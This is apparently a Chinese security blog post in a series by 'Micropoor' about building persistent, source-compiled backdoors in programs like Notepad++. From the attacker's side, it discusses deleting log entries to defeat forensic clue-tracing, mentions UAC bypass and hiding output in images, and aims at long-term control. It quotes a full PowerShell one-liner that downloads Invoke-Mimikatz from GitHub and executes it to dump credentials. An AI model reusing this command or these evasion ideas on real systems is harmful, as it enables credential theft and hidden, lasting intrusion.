前者的话：从第三季开始引入段子，让本枯燥的学术文章，也变得生动有趣。

第二季的Demo遵循人性五条来设计，回忆这其中五条：

1：攻击方与防御方的本质是什么？

增加对方的时间成本，人力成本，资源成本（不限制于服务器资源），金钱成本。

2：安全公司的本质是什么？

盈利，最小投入，最大产出。

3：安全公司产品的本质是什么？

能适应大部分客户，适应市场化，并且适应大部分机器。（包括不限制于资源紧张，宽带不足等问题的客户）

4：安全人员的本质是什么？

赚钱，养家。买房，还房贷。导致，快速解决客户问题（无论暂时还是永久性解决），以免投诉。

5：对接客户的本质是什么？

对接客户也是某公司内安全工作的一员，与概念4相同。

6:线索排查与反线索排查

那么这个demo离可高级可持续性渗透后门还有一段距离，这里引入第六条“**线索排查**”与“**反线索排查**”，在第二季的demo中，它生成了一个名为micropoor.txt的文件，如果经验丰富的安全人员可根据时间差来排查日记，demo的工作流程大致是这样的，打开notepad++，生成micropoor.txt，写入内容，关闭文件流。根据线索排查，定位到notepad++，导致权限失控。

在线索排查概念中，这里要引入**“ABC”类线索关联排查**，当防御者在得到线索A，顺藤到B，最后排查到目标文件C，根据五条中的第一条，demo要考虑如何删除指定日志内容，以及其他操作。来阻止ABC类线索关联排查。

不要思维固死在这是一个nontepad++后门的文章，它是一个面向类后门，面向的是可掌握源码编译的类后门。同样不要把思维固定死在demo中的例子，针对不同版本的NT系统，完全引用“powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz”而关于bypass UAC，已经有成熟的源码。或发送至远程或是写在本地的图片里，不要让知识，限制了后门的想象。这也正是第一季所说的：一个优秀的Microdoor是量身目标制定且一般不具备通用性的。是的，**一般不具备通用性。**

观看目前文章的一共有2类人，一类攻击方，一类防守方。假设一个场景，现在摆在你面前有一台笔记本，并且这台笔记本有明确的后门，你的任务，排查后门。我想所有人都会排查注册表，服务，端口，进程等。因为这些具**备通用性**，也同样具备**通用性排查手段。**

临近文章结尾，第三次引用：**在后门的进化对抗中，rootkit也发生了变化，最大的改变是它的系统层次结构发生了变化。**如果彻底理解了这段话。那么就要引用王健X爸爸的一句话：先定个小目标，控它个1825天。

**/*
段子
*/**

奈何厂商不重视后渗透攻击与持久性攻击，文章的结尾引用马X爸爸的一句话：

厂商不改变，我们就改变厂商。

- Micropoor